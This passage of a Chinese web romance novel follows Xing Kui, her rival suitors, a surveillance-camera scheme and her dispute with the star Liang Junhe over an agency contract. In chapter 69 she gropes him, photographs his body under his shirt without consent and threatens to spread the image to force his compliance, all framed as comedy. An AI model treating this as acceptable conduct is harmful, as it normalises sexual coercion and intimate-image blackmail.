原本,看过梁君赫电视剧的她,对这位少爷有一点点谈不上好感的好感。 可她的账号粉丝中,有一位梁君赫的粉丝。以前邢葵觉得,“惹我的人娶不到老婆^_^”挺可爱的,经常给她转发搞笑视频、喊她老婆、发狗狗表情包。 时不时向她安利梁君赫,不强势不强迫,不会叫她反感。 直到,邢葵与许野接触加深。 这人简直成了黏人精,每一天都要劝她远离肌肉男、去看梁君赫的综艺。 疯了吧,梁君赫不过是远在天边与她无关的明星,许野才是她生活中的人。 邢葵不敢再回复她消息,怕越回她越激动,后来,粉丝消失了一阵子,就像要高考被收走了手机的学生,之后她再出现,邢葵已和许野交往,她又开始每天劝分。 感觉这个人分不清网络和现实,整天梁君赫梁君赫,邢葵需要男朋友,梁君赫是能成为她男朋友吗?她现生不过的啦? 虽说粉丝行为不上升正主,但一来二去的,邢葵免不得对梁君赫都无法喜欢。 这下好了,她的不喜欢被正主听见了。 单薄凉爽的衬衫盖着邢葵的脑袋,一层桑蚕丝模糊梁君赫的面容,但覆不住他拍桌子的怒响。 他这会儿没戴墨镜,眼眶一圈红色,手臂绷出线条,搭在桌面的手蜷成拳,在抖。 邢葵扯下衣裳,梁君赫扭头就跑,跟着他的二十几名下属也跟着跑,场面壮观悲怆。 就在梁君赫转头一瞬间,邢葵觑见了他的表情,眸眼晶光闪烁,要哭的样子,唇奋力下撇忍泪,抬着下巴高傲,这种娇娇小王子的感觉,好生熟悉。 好些个月前,邢葵也遇到过这样一个人。 “那个,周梨,他既和你哥哥是好友,你也认识他很多年吧,或许,他是不是话很多?” “岂止是多,他兴奋起来,说话就像大海里的水一样无穷无尽。” 邢葵在心里提笔。 话痨男,兄弟之一,娇娇小王子,疑似身陷麻烦在躲避追踪。 梁君赫,兄弟之一,娇娇小王子,曾出逃节目组闹得沸沸扬扬。 梁君赫,话很多。 梁君赫,等于,话痨男。 这一刻,和两个身份分别的相处走马灯般回放,阳光灿烂的操场她伸手一抓,光影斑驳的活动室她伸脚一踹,邢葵的世界风雨飘摇。 她按上周梨肩膀,注视着她:“好姐妹,我将梁君赫得罪狠了,你会救我的吧。” 一声“好姐妹”,周梨差点尾椎骨蔓出尾巴疯摇,面红耳赤:“我肯定会!不过不至于得罪狠了,你不就说了一句不喜欢他,我们当明星的,每天都要被成千上万人说不喜欢。” 那每天也会被人抠纽扣吗? 梁君赫和她的过节可不止一句话啊!邢葵都不好意思讲,难怪梁君赫要带她去活动室加以报复,结果在活动室她又踩了他一脚。 多少仇了?邢葵短时间都数不清,梁君赫得多恨她。 “放心,我保护你,好姐妹。”周梨羞答答,“实在不行,刚好你分了手,治愈情伤的最好方式就是找下一个,你把他睡服了吧。” 邢葵连连咳嗽:“我没情伤,我跟许野分得挺和平的。” 周梨:“那更好了,我这就订房间,把梁君赫骗过来。” 邢葵:“???我遵纪守法好青年!” “不违法。”周梨拍拍她,“他要不乐意能石更起来吗?” “打住,不要再继续这种话题。”邢葵抬手做暂停动作,周梨言行无忌,怪叫她头疼,“我还要赶火车,我先走了哦。” 她一起身,周梨钳住她的腰,仰起浓妆艳抹的脸可怜兮兮:“你不在这里多留几天吗?” 邢葵落手摸摸她的短发:“我的旅游计划还没结束。”她还约了几家公司,想到周梨关心她分手后的状态,邢葵眨了下眼自我打趣,“兴许还能在某个城市猎到艳,谁知道呢。” 拐角,扒着墙的白皙十指抖出重影,根本没离开、仍在偷听的梁君赫嘴瘪着,委屈和生气汹涌。 “别跟着我。” 砰,大明星将自己单独关在天台,艳阳高照的大晴天,天台很晒,他又拉开门栓,向助理要了件衣服挡太阳,“看什么看,她不喜欢我,你还对她好,我都不想见到你!” 助理:“我。” 门重重关上,灰尘飞舞,助理“呸呸呸”赶着灰偏头,对保镖们,“我都没说过几句话!” 阳台,梁君赫一手撑着衣服挡阳光,一手拿着手机猛点。 他要气炸了,邢葵意识到他就是话痨男,第一反应居然是她得罪了他,而不是:哦,那我还挺喜欢梁君赫。 混账周梨的提议也很混账,但邢葵竟然宁愿去别的城市猎不知名的艳,都不考虑大名鼎鼎的他,有没有眼光! 梁君赫不信,他多优质,人不可能眼光差成那样,说不定,邢葵是发现了他在听,欲擒故纵。 无论如何,有人欠缺眼光这件事是肯定的,梁君赫点击着手机,邀请邢葵两位前男友,周镜和许野进入群聊,并改群名为:好兄弟批评教育大会。 【拉这个群原因如群名。】 【你们两个,一个是我哥,一个是我弟,我没想到,在过去大半年里,你俩如此糊涂,为一个外人兄弟阋墙。】 【单厉哥看上她这件事,就令我费解。】 【你俩还睁眼瞎子往坑里跳!】 【兄弟们,忘记最初咱们兄弟群里是如何说的了吗?】 【那个伤害了厉哥的女人,我们要让她付出代价。】 【代价,这两个字罚你们抄写释义一百遍,是要让她付出代价,不是让你们去倒贴!】 【如今这副局面,我真的,捶胸顿足、心如刀绞、痛心疾首、扼腕叹息(省略一百个成语)】 【我们几十年兄弟不可以这样!】 【你俩绝对是接触的女性太少了,像我,就绝对不会迷恋上她。】 【哥,弟,我讲句不好听的,你俩背叛兄弟情谊,去和她交往,你俩好意思不?】 …… 洋洋洒洒约莫骂了周镜和许野一千字,梁君赫眼里的泪被太阳晒干,仰起精致的脸晃了晃招桃花的粉发,重新神采飞扬。 愚蠢的哥哥和弟弟啊,是时候有人站出来修复兄弟关系了,且看他梁君赫为尔等做出表率,为厉哥两肋插刀!去教训邢葵那个坏女人! 欸?在他发泄的关头,邢葵是不是已经离开了? 密密麻麻的信息占据屏幕,周 镜坐在办公桌,低着眸看,眉目疏冷,手指曲着。 “周律,案子情况基本这样,证人那边畏惧强化木业势力,不肯出来作证。” “好。”周镜抬眼,相貌文雅,莫名透着刺骨寒意,“我了解了,你出去吧。” 助手走出门,不由自主搓了搓胳膊。 玻璃窗后,周镜重新垂下眼帘,“甜甜的恋爱会找上我”的信息一条接着一条,几个小时前邢葵接触过梁君赫,几个小时后梁君赫就发起神经。 他很在意邢葵,即便梁君赫没提,周镜仍旧看得出来。 不清楚这股在意到了何种等级,但必然不止一级。 很麻烦,梁君赫很麻烦。周镜抬起手边水杯,试图用水压下喉咙涩意,他才刚等到许野出局,又有新的家伙出现了。 邢葵还在寻找解决催婚问题的对象,周镜作为已经交往过的人,不会成为邢葵当前阶段的选择,他明白,也能接受她展开新的恋爱。 一切前提是,周镜要他自己能赢到最后。 梁君赫,相当难缠,别看他喊哥喊弟喊兄弟情,他哥哥弟弟的话一个字都听不进,是一个绝对不能被掌控的人。 幸好,观梁君赫字里行间表达的态度,他尚未觉察到他对邢葵的在意。 而除梁君赫外,兄弟中,还有一位,喜欢上邢葵不自知。 周镜推了下眼镜,江玉鸣帮邢葵找对象,是想借机离间江厉家族关系,回顾过往事件,在邢葵进入第一段恋情时,江玉鸣就已然成功,然而,他却未向厉乘川坦白。 不过,这段恋情毕竟短暂,江玉鸣也许是想等邢葵和周镜再稳定些。 可是第二段和许野的恋情,跨度超过五个月。当然,不排除存在江玉鸣想等邢葵真正解决催婚问题、再坦白的可能,可这五个月里,江玉鸣想的却是拆散邢葵和许野。 他明明是助攻定位,却因邢葵不肯让他当小三,他就站到了拆迁办一方。 江玉鸣,大概率在误解他对邢葵的喜欢,以为是生理性的,实则不然,生理性喜欢,绝不足以让一个理性冷情的人放弃他唾手可得的胜利。 无论是梁君赫还是江玉鸣,都具备自私自我的属性,他俩没意识到对邢葵的感情,周镜也不会多此一举点明。 窗外天幕明亮,一周后依然是个风和日丽的晴天,傍晚时分的晚霞红到紫地渐变,饱和度极高,如同绚烂一词化作实象流淌,都要将辉德医院的十字标染成霞色。 病房里,江玉鸣戴着口罩,将听诊头按在穿病号服小朋友的心脏处,声音愉悦:“今天状态很不错呢,待会儿我开个单子,明天检查结果出来没问题就能出院了。” 小朋友的母亲在附近缓气:“太好了,谢谢江医生,多亏了你。” “不客气,收了钱的。” “……”家属一噎,笑了,“江医生心情很好嘛,都开起玩笑了,是有什么好事发生吗?” 江玉鸣好像就等待着被问这个问题,眼睛笑成一条线:“是的,今晚我家小朋友也要回家呢。” “欸?江医生都有孩子了吗?” “没有,是爱称。” 昳丽妖孽的脸转向,面向霞光烧红的苍穹,他家好孩子,在外头旅行了半个月,终于要回来了。 笑着眼,江玉鸣一身白大褂走出病房,在电梯到达的声响中,哼着歌,一身常服走出邢葵家楼层电梯。 好想念搂抱邢葵的感觉,今夜抱着邢葵睡好了,再亲上第二十次。 邢葵家旁边是厉乘川家,要想到达邢葵家,须得经过厉乘川家门口。 江玉鸣唇角上扬,两家离得如此近,厉乘川却对邢葵家中旖旎一无所知,想想他就兴奋。 只不过,今儿不凑巧,此时此刻厉乘川就站在他的家门口,手握着一种球状物。 江玉鸣一向临场反应迅速,笑意半点不衰,平稳走向厉乘川,还哼完了刚哼的那句歌:“老厉,吃完晚饭了吗?在干什么呢?” 门前,厉乘川当江玉鸣是来找他的,展了展手掌,那球状物是一个摄像头:“邢葵今晚要回来,我往门上装个摄像,倒要看看谁还撬我墙角。” 第68章 江玉鸣当场差点嘴角僵硬,被连撬两回墙角,厉乘川也不是傻子,要往门上装监控了。 “八百万像素,三百六十度旋转镜头,夜视全彩,不知道能逮到谁。” 江玉鸣笑不出来了,谁都逮不到,除了他。周镜是前男友,他进邢葵家厉乘川心有预料,许野亦然,这两位已从偷子转到明面,能当面和厉乘川竞争,唯独江玉鸣还在暗处。 这个摄像头是防他的! 厉乘川拆掉包裹摄像头的塑料膜,哪知他要逮的人就在他旁边,且他手上正拿着制约江玉鸣的方法:“我还没感谢你,你找的医生不错,邢葵额上的疤好多了。” “不用谢我,医生、设备都是你付的钱,老厉,几百万,你对邢葵太好了,也没个人告诉她,要不我去跟她说。” “休要多话。”厉乘川警告式地睨了眼江玉鸣,收回眼神,“她在努力生活,我不希望她焦灼其他,况且设备不是一次性用品,是你贪。” “行,不说就不说。”江玉鸣本就是做做样子,厉乘川选择了最笨的追求方式,他才不会助攻他,狭长的眸子瞟了瞟危险的摄像头,他话锋一转,“不过我觉得,最好别在门上装监控。” 厉乘川望向他:“怎么说?” “我是站在好兄弟的立场劝你啊,我清楚你做这些符合情理,但邢葵对你误解很深,病友、邻居,你已经制造了两个巧合,假如邢葵看到监控多想,极有可能认为你是什么跟踪狂。”江玉鸣引导着。 厉乘川收了收手指。 “你依然可以装监控。”江玉鸣散漫挑眉,示意他视线投向对门,“但让周镜来装,反正他也要防人趁虚而入,会答应的,这样,邢葵要是不爽,不爽周镜,风险都由他担。” 而周镜明晰江玉鸣对邢葵心思,又需求他藏在暗处向厉乘川放冷箭,在监控中抓到江玉鸣也不会揭穿,这样监控对江玉鸣就废掉了。 对被蒙在鼓里的厉乘川而言,这也是个绝佳主意,他优越的眉眼浮现少许惊讶。 “别诧异,我们好兄弟。”江玉鸣拍拍他的肩,对他点点头,无声胜有声,犹如在说:信他,他绝不会背叛。 二人敲响周镜家的门。 昔日兄弟、现今情敌见面,厉乘川修长指骨按在圆球状的监控上,眉目和监控材质触感一样冷。 周镜倒是还能笑出,大拇指和中指抬了下镜框,厉乘川啊厉乘川,你快被江玉鸣忽悠瘸了,这里两个都是你的情敌。 “我不同意。”出乎意料地,周镜拒绝道,“我没必要这么做,楼层里的监控我就能看。” 这个小区里里外外有许多周家部下家属及后人,周镜想看就看得到,这点厉乘川都做不到。 厉乘川安监控,能制约住江玉鸣,周镜何必要阻止?当他愿意让江玉鸣亲邢葵? 电梯上行,长方体空间内,邢葵抓着满是购物袋的推车扶手,打着电话,头戴棕黄色编织草帽,身穿白色红黄蓝抽绳衬衫和一条天空蓝色长裙。 “好的,谢伯母,我会仔细考虑。” 电梯到达,结束旅游的邢葵走出,从电梯间拉推车,撞见周镜家门口三个男人:“欸!江医生,帮我一下!” 周镜&厉乘川:为何她喊的是江玉鸣? 江玉鸣眸子立即一弯,冲厉乘川摊手,一副“她好麻烦、我也不想、谁让我亲和力高”的样子,径直迈步走向邢葵。 “你帮我拉,我来扶,容易掉。”车上是邢葵此番出行的战利品,厉乘川洁癖,她哪敢请他帮忙,周镜前男友,她开口也会不好意思,所以第一反应就是叫江玉鸣。 “这么多东西?”江玉鸣接过推车任务。 “嗯 ,出门散心嘛,钱包瘪了,自就没心情再想其他事。”邢葵神情轻松,可见已彻底调理好心绪,“你们怎么都在门口啊?” “缘分。”江玉鸣笑。 江玉鸣得知邢葵今晚回来,是他缠着邢葵问出的结果,周镜和厉乘川了解,是邢葵回来前,先叫了保洁打扫家里。 什么缘分,发觉她整理好心情了,按耐不住又要开烧是吧?邢葵腹诽了下江医生,觑见厉乘川手里东西:“那个是……监控吗?” 一瞬间,厉乘川想起江玉鸣说的跟踪狂,急忙张口要解释。 “什么牌子什么型号的啊?”邢葵欣悦,“房东,你买的时候一定做过攻略吧,推荐推荐,我也想买。” 厉乘川稍顿,抬高手:“事实上,这就是送给住户的。” 江玉鸣&周镜:“……”贱人。 “当真?”几人在意许久的监控就这么到了邢葵手里。 “嗯。”厉乘川颔首,黑色碎发下耳朵尖些微泛红,“你一个单身女性,独居易遭贼人惦记,作为房东,这些基础防狼设备我当提供。” “那太好了,谢谢你,台通特产,送你一盒。”邢葵递过去一盒吃的,取钥匙,顺嘴嘟囔,“我正好防你们。” 厉乘川&江玉鸣&周镜:“……”不是吧!老婆! “啊,对不起,实在是你们前段时间太超过了,虽然我目前分了手,不代表我觉得你们的拆散行为正确。”邢葵真诚地批评。 江玉鸣笑吟吟:“你说得对。”下次还敢。 周镜垂眼望来:“葵葵,工作的事如何了?”他引领话题,无形阻碍邢葵和另外两位交流。 “我去过几家MCN,然后刚谢伯母也给我一些意见,现在差不多有了意向,接下来就是去和原公司解约,接着去签约吧。” 很平静的回答,却令在场三个男人脸色不同程度变化,不错,邢葵身上有一份工作合同,所以她要签新公司,得先和原公司解约。 只是,她一进她原来的公司,岂不是有很大概率,能发现厉乘川是她的老板?! 周镜最先冷静:“好,届时合同发我看看,我帮你检查有没有坑。” 厉乘川脑子也动得快:“不用回公司,解约可以线上进行。” 江玉鸣附和:“解约合同也可能有坑,线上更方便转给周镜看。” “话是这么说,可我原公司让我放了那么久带薪假也没说要开掉我,我感觉我还是亲自去诚恳,虽然他们不开掉我是因为谢伯母。” 厉乘川懵了下,关许野什么事?真想一铁锹将许野埋土里。 “既如此更不必去了,如果你的上司是趋炎附势的人,你去不去都不会取悦他,如果你的上司是好人,你去不去,他都会祝愿你拥抱新生活。” 不一定要给他当秘书,她想去试一试其他领域,那就去吧。 邢葵认真思考起厉乘川的话:“也是,我老板就是个地中海胖胖老登。” 厉乘川俊脸瞬僵,江玉鸣笑出声,周镜嘴角亦极小幅度地翘了下。 残缺记忆的邢葵也不知往她的记忆中增减修改了什么,以使逻辑自洽,她的上司竟从俊美无俦的厉乘川降级成肥肥地中海。 “我看解约的事,不如你全权交给周镜代理。”厉乘川说道。 周镜垂首。 邢葵望着周围三个男人,厉乘川讲得挺有道理的,周镜乐意,江玉鸣也支持:“那……就这样?” 三名可称凤毛麟角的优质男性同时予以肯定的眼神。 好古怪啊他们!邢葵望了望他们,再望了望,又望了望,一连三遍,才真正移开视线,“行吧,那江医生,我还有事要找你,能请你进我家一趟吗?” “什么事?”厉乘川一把拉住江玉鸣。 “就,可能在外头路走多了,腿有点不舒服,请江医生帮我看看。” “要不老厉,你在门外帮邢葵装监控吧。”江玉鸣冲厉乘川眨了下眼:兄弟给你表现机会,接好了。 随后,江玉鸣又冲冷沉沉盯着他的周镜眨了下眼,转头高高兴兴跟在邢葵身后进门,并将邢葵的行李也推进去。 门关上,江玉鸣推着推车直到客厅,转进他很熟悉的厨房,开水龙头洗手,清凉的水流抚过手背筋络,亲吻长指线条,他不知道想了什么,脖颈突出的喉结上下滑动。 邢葵震惊,她一句话都还没讲,他在兴奋什么?! 洗净手的江玉鸣一步便跨到她身边,利落将她抱上厨房大理石桌,站在桌前,对她悬空的腿低着眸:“腿不舒服是么?我摸摸。” 她穿的是裙子,不管撩起裙子,还是从裙摆伸进去,都很简单。 邢葵忙不迭摁住江玉鸣额头,将他的视线上抬:“我那是借口,不那么说,过不了厉乘川那关,你先听我说正事。” 江玉鸣戏谑:“听完就能干不正的事了?” “你说呢?!”难以跟空旷数月的烧种正常对话,邢葵索性揪住江玉鸣两边耳,“我想问,你能继续帮我找一找解决催婚的对象吗?和从前一样。” 江玉鸣挑了挑眉,似她的话在他意料之中。 这次出门邢葵去了好几个城市,逛过不少旅游景点,妈妈呀,见到的男人都是啥呀,天气热,大庭广众卷起衣服下摆秀腰间肥肉;室内吸烟等等。 唯一印象深刻的就是在灵潮娱乐遇到的梁君赫,他真是薄肌细腰浑身发光,身上也毫无烟味,不过梁君赫说过超讨厌她,她也不喜欢梁君赫。 总而言之,邢葵离开半个月,工作上收获挺多,男人上一无进展。 没有对比就没有伤害,还是江玉鸣认识的男性较为可靠,邢葵摸摸江玉鸣耳尖,“我也不白请你帮忙,你想要什么跟我说,我能办到的一定办,别问能不能接受小三,那绝对不能。” 见江玉鸣眼皮一抬她就猜到这货在想什么,先一步讲道。 江玉鸣努了下高挺的鼻子,这种俏皮的动作由他做起来透着一种轻佻苏感,邢葵找对象这件事原本就利好他,他能要求什么,他往前走了一步,腿分开邢葵的腿,手捧住她的脸,大拇指在她唇边蹭。 “那让我看看你的腿?” “不行!” “葵葵。”江玉鸣蹭她,“好想我的手指沾满你的体温,你瞧瞧它们,这么长,你的腿不舒服,用它们按会很舒服。” “都说了我的腿没有不适!”邢葵咬牙切齿,“别发癫,你两个兄弟还在门口。” “正因他们在门口,我才要给他们交代啊。”江玉鸣的大拇指摁到她的唇心,“他们担心你的身体,我得谨慎检查,不看腿也行,让我瞧瞧你的舌头,来,张开。” 他的拇指在她唇中央缓慢地碾,力道逐渐加大,都快分开她的唇肉碰到齿,“张开,我就答应你。” 这烧货,不让他碰一下今夜是没法结束了,邢葵在心里叹了口气,微分唇瓣。 舌象能反映身体状况,有骨感的手指穿过她的唇,按到舌肉,邢葵条件反射地阖唇,牙齿咬上江玉鸣手指褶皱。 他享受般地哼了声,“别咬,葵葵。” 神经病啦你!邢葵两手按住厨房桌边缘,脸都羞成红苹果。 “舌苔泛白,葵葵缺血。” “舌面裂纹,葵葵平日可会腹胀?” “舌边缘——” 江玉鸣越凑越近,邢葵抓住机会捂上他的嘴,闭嘴吧你,要看快看。 五分钟后,江玉鸣神清气爽地出门,像吸足精气的妖精,面对厉乘川探问,他颇有医德地道:“问题不大,以后我再帮她检查几次。” 天黑成墨,邢葵擦着头发从浴室出来,都要憋不住顿足骂一句江玉鸣。 坐到电脑桌前,邢葵拿起吹风机,观看电脑上播放的头部网红爆款视频,吹着洗完的头发,电脑右下角显示晚上20:28。 不知不觉,时间变成22:16,邢葵坐在椅子上,敲击着键盘,十六寸的笔记本屏幕被分成两部分,左边仍在播放爆款视频,右边是她做的笔记。 她有转行的魄力,也会为她选择的未来做足努力。 一通来电让邢葵暂停视频:“喂,许野。” “喂,葵葵,我是不是打扰你了,我想早点打电话的,可有场比赛,我——” “没关系的,许野。”听到许野体贴地换了对她的昵称,邢葵笑了笑,“国外和南州有时差,我理解。” 异国他乡,许野坐在休息室的椅子上,褐色的眼睛对着放大腿上的金牌,露出些许笑意:“我妈跟我说你回家了。” “是的,外面挺好玩的。”就是男人不咋养眼。 “我妈还跟我说,你在考虑签约灵潮娱乐下的MCN。” “是的,谢伯母不愧是董事长级别的强人,在MCN选定上向我提供了很有用的建议。” “那我……也能向你建议一句吗?” 邢葵怔了下神:“你说?” “灵潮娱乐的少爷梁君赫,我猜你已经见过他了,他同样是我的兄弟,许久前你也偶遇过他两回,就那个男扮女装穿桃粉色裙子的话痨男,我想建议你,下一个对象,能看看他吗?” 等等,结束通话后,邢葵撑住额头,继续做笔记,停下,重新撑住额头,放下手。 不儿,最初江玉鸣向她推荐周镜,后来周镜向她推荐许野,如今许野向她推荐梁君赫,这对吗? 邢葵一晚上辗转难眠,临近清晨迷迷糊糊地好像入了睡,又被电话吵醒,她晕晕乎乎,意识还徘徊在昨晚和许野的对话,一接起,本能就想说:不要,不要梁君赫。 还没说出一个字,来电的周梨吵嚷声冲进她的卧室:“出事了!梁君赫不同意他姐跟你签约!” 邢葵睁眼,暗蓝色的天空被明亮覆盖,邢葵一身正装坐在了梁昭然办公室:“我想这对我不公平。” 梁昭然苦笑:“我也很无奈,可我不能无视我弟弟意见。” 邢葵揪牛仔裤:“梁君赫,我能见他一面吗?” 灵潮娱乐,B楼,六层,602室。周梨将梁君赫推进来:“你给我滚进去。”锁上门。 “我是为了她好不好!”梁君赫见过邢葵在堂妹婚宴上被围攻欺负的样子,她那样的小可怜,踏进娱乐圈,如何受得了没日没夜的骂声。 一转头看到站在室内的邢葵本人,梁君赫盖住豆腐心,疾声厉色,“就你也想进娱乐圈?照照镜子见见脸上的疤吧!”——这条疤就足以惹来成千上万臭虫,你个笨蛋。 没有读心术的邢葵捏拳,过去数个月她都在做自媒体,起初只想发着记录生活,能有广告就是赚到,之后她的账号越来越火,她也逐渐生起以此为事业的心。 前前后后,她思考了很多、准备了很多,梁君赫就用这副蛮横的表情、尖酸的语调,一句话任性地要毁掉。 邢葵捏成拳头的五指在抖,她死死地盯着梁君赫:“你太过分了。” 近期种种一股脑全重现在脑子里,什么梁君赫说超讨厌她,什么话痨男,什么许野的建议,她在怒火灼烧中迈上前,也不知哪来的力量,一把将梁君赫摁上墙。 指尖拽起他今日淡粉色的衣服下摆,迅疾伸入,往上,一拨。 “你也不想你被我摸过纽扣的事人尽皆知吧,梁少爷?” 第69章 梁君赫太过分了,邢葵气得也过分了一下。 指尖毫不迟疑拽开他的衣裳,自暖融融的细腰向上,犹如流星飞速划过天空,最后到达目标地,冰凉的指腹重重一拨弄。 这是间用于表演课的教室,中间空旷,四周排满座椅,室内洒满明亮的阳光,细微的尘埃浮动,空气中本该有阳光和椅子木材气味,但两人都闻不到。 将梁君赫压在墙壁,邢葵竖起来的、藏在粉色衣衫下的食指微微战栗,她拨时还是软肉,这会儿成了小石子,边缘抵在她的指腹,滚烫惊人,像蓄着电流。 呼吸间斥满梁君赫身上香味,邢葵心里轰隆隆十级大地震,但她现在超勇!勇敢葵葵,绝不退缩。 混蛋梁君赫,真真欠教训,许野向她建议他,他又说超讨厌她,干脆她玩把大的,来场强制爱好了! 欠教训的梁君赫已丧失说话能力。 他紧实的脊背贴在墙壁僵直,僵直成和墙壁一般的死物,怔然,内眼角尖、眼尾上翘的眸子里全然无光。 梁君赫这人渴望恋爱,平日有看小说的爱好,他看的文里,吵架时刻角色往往会饱含怒气地接吻,刚邢葵冲上来时他就是想到这点走了神,才导致邢葵推他成功。 谁能告诉他,为何他的故事是这样? 这一拨,拨出梁君赫三魂七魄,三魂七魄飘飘荡荡往天花板直飞。 这一拨,拨一点而动全身,梁君赫全身如绷直的琴弦被勾了一下,骨血都在震颤。 这一拨,拨得梁君赫眩晕,晕眩感侵占五官,当桃子香裹挟羞耻冲破雾霭,梁君赫的脖颈汹涌血色。 “你、你你威胁我!没人能威胁我!” 超勇版邢葵还在想强制爱,闻言集中注意力:“那我就要成为例外,大少爷,不让我签约你凭什么?我符合梁总的要求,也决定选择梁总,你凭什么任性地毁掉?我警告你,立刻马上给你姐打电话,否则我——” 邢葵顿了顿,想威胁梁君赫但没证据啊,“你等一下。” 她掏口袋取出手机,径直伸进梁君赫的衣服里,拍了一张照,“你也不想这张照片传遍全网吧?” “邢葵!”该死,他刚刚为什么真要等她一下,都怪她声音温柔似水太具迷惑性,梁君赫眼生血丝盯着邢葵抬高的手机,猝地伸手去抢。 邢葵还在梁君赫上衣里的手指一动,又拨了一下。 凉意卷了下纽扣,梁君赫震在原地,过了几秒,他再度去抢手机,这一回更加迅猛,他想的是,都被拨了,难道要被白拨吗?他一定要删掉耻辱的证据! 他双颊皮肤光洁无瑕疵,原本是奶白色,如今成了成熟的水蜜桃,邢葵为他的挣扎感到意外,她不能让他抢到手机,索性分出中指,食指和中指一掐。 这下梁君赫再动弹不得,被掐住的纽扣一动就像被拽动,他受不起这刺激,好似水蜜桃爆汁,额角鼻尖都溢出汗水,微分的唇瓣呵起气。 刺激中还有委屈,席卷的芜杂感觉让这位鼻孔看人的梁少爷眼眶积聚晶莹,他不甘又白长了一张嘴,张口就讥讽:“你是这样的人,周哥他们知道吗?” “我是怎样的人?”邢葵蹙蹙眉心,她绝对是老实本分的好孩子,胆子也不大,还不是梁君赫过分至极,老实人也愤怒得急了眼。 梁君赫对她有误会,继续嘲讽:“你自己心里清楚!有点手段就觉得能纵横娱乐圈了?我告诉你,到时候挨了骂别哭鼻子!” 邢葵皱了下眉,从刚才起梁君赫就在说娱乐圈,网络红人跟明星艺人不是一个概念吧?可能是他混称了,她没在意,用力一掐。 梁君赫两眼瞪圆,眼角都挤出泪珠。 那泪水真像透明的小珍珠,邢葵火速移开眼,不能看,多看一眼她勇气值就要归零,趁还没归零,她用足劲:“跟你姐说,快一点!” “你轻一点,要断了。”梁君赫怒眉睁目,颤颤巍巍,骂着,“你会为你当下做的选择后悔!”他找出手机。 又凶,“以后哭了我笑死你!” “快!”邢葵动用全部力气。 梁君赫哆嗦一下,粉发被汗打湿,因为羞辱耳朵红得能冒气,往旁边斜了斜身体,打起电话:“喂,姐……” “你居然能够说服他。”梁昭然办公室,她微诧地望着返回的邢葵,“我这个弟弟骄横恣肆、不服管教,我的话都不听。” 邢葵坐在椅子上,头埋着,握着手腕,指尖掐着手腕经脉,竭力不让这只拨、掐梁君赫纽扣的手发抖。 纽扣不在指旁,触感犹存。妈妈,勇气没了,要死了,她都干了什么,啊啊啊啊啊,人家姐姐还坐她面前啊啊啊啊啊。 “不过你确定要签吗?不知道你私下有没有关注过粉丝数过千万级别的网红,我必须要提醒你,他们的任何视频,都会收到大量骂声。” “这点我清楚。”邢葵回应,梁君赫嘘她会受不了骂声哭鼻子,还好,换作刚出车祸的她,那时的她身心俱创确实易哭,一天天生活过来现如今好转许多。 再者网络上的喷子不是家人,他们一千句羞辱,也敌不过家人一句,没那么重要,更何况,邢葵既已打算转行,又怎能出师未捷先因假想却步。 “我会为我的选择负责。”看了眼手机时间,“那梁总,没问题我就先走了,还要赶高铁,合同我过两天来签,要先和现在上班的公司解约。” 梁昭然点了一下头,邢葵是临时从京江市赶来的凤田市,她走到窗边,注视着楼下邢葵匆匆离去, 冷淡的眼里流露出思索情绪。 几个月前,梁昭然在某个场合碰见过厉乘川,当时还问他,他的秘书为何不在,厉乘川回答她在休病假。 休病假的人却要换一份工作,厉乘川了解吗?当然梁昭然不会阻止,能被厉乘川擢拔成身边秘书的人,能力相当可靠,她转效她麾下,梁昭然乐见其成。 只不过,厉乘川可是非常喜欢邢葵。极度洁癖、从不带女伴出席活动的厉总却会带着邢葵,梁昭然注意过,开车的还是厉乘川,没让邢葵当司机还让她坐副驾驶座。 这些仅仅普通小事,但那可是厉乘川。 梁昭然都担心,厉乘川不放邢葵走。 梁君赫也担心,厉乘川、周镜、许野,三个兄弟是不是都是瞎子!他一个人蹲在无人的活动室,漂亮的脸埋在膝盖中,骨肉匀称的双臂穿在膝盖下方,两手拿着手机,飞快地点着。 好兄弟批评教育大会(3) 【@周镜@许野,你们两个大笨蛋!大笨蛋!大笨蛋!】 【我发了这么多信息,你们不回一句吗?你们是默认了你们就是要糊涂下去吗?】 【清醒清醒吧,那个女人不值得你们这样!】 剔透的泪珠啪嗒啪嗒地落地,洇湿了梁君赫腿下一小片地面。 被拨过的纽扣像是被冻结在了被触碰的时刻,邢葵的指温凉得像冰,指腹柔软似棉花,纽扣上就像还留有她的冷感软感。 该死的海王真没有心,又对他没意思还上手,渣得比豆腐渣还渣,周镜许野两只眼睛瞎了!能对她动心? 她都不识好人心,世人千千万,不是每一个都宽容,哪怕义务教育普及后,社会平均知识水平上涨,但有时读过书的人更可怕,想当艺人,她钓人的本领高强有何用。 也就骗骗他的兄弟们,括号!不包括他。 那也是因为兄弟们不在意邢葵的疤痕。 梁君赫记得,他误打误撞混进邢葵堂妹婚宴那会儿,曾听邢葵亲戚说,她额头上疤痕就一小条。 近期他第一次见到没戴帽子的邢葵,果真就淡淡一条,不像天天奇妙历险,天天奇妙历险曾在视频中讲过,她额上疤很长很深,像条老蜈蚣。 可纵使如此,邢葵的疤也足够引来数不清的攻击。 笨蛋!还欺负他,梁君赫揪起衣领,垂眸望了望衣服里,放下手,眼眶通红。 纽扣就跟他的双眼一样红,邢葵真狠得下心掐,梁君赫的身体上上下下乃至头发丝,都是留给他老婆的,邢葵却烫上了她的烙印。 一种“他不再纯洁”的念头扎进梁君赫脑中,他瞧周围一切都无比刺目,四肢颤抖,属于邢葵的气息如同藤蔓般攀缠他。 梁君赫想站起来摆脱藤蔓,却因蹲得太久腿麻又踉跄跌了下去,他气恼咬小虎牙,然后更想哭。 需要安慰,需要天天老婆安慰,梁君赫拿起手机,点进某抖小号,泪水在屏幕开花,他和天天奇妙历险的聊天页,只有他单方面的联系。 梁君赫用手背擦擦眼泪,抽噎一下,抱着手机输入估计不会被回复的文字。 邢葵看着手机走出电梯,手指置在手机背面,她依然觉得它们不像是自己的。 恼怒致使肾上腺素水平激升,很想解决问题的邢葵于是超勇拨掐,尘埃落定后,肾上腺素降到寻常水平,她的脑子、内心都在为她的行为震荡。 自离开灵潮娱乐到坐高铁回家,邢葵一路都在想,真得将梁君赫追到手,否则日后她跟梁君赫抬头不见低头见的,多尴尬。 对吧,这事整的,整都整了,不如将它变成件好事。 许野说过,梁君赫的年纪小于她三岁,恰符合邢葵家人的接受限值,他又是个明星,届时能跟邢葵家人说他身上的代言合同要求暂时不能结婚——好适合的新对象。 就是说,追一个超讨厌她的明星,难度是十颗星还是十颗星啊。 邢葵苦恼,见“惹我的人娶不到老婆^_^”又发来消息,想到对方是梁君赫死忠粉,便点开来瞅了瞅。 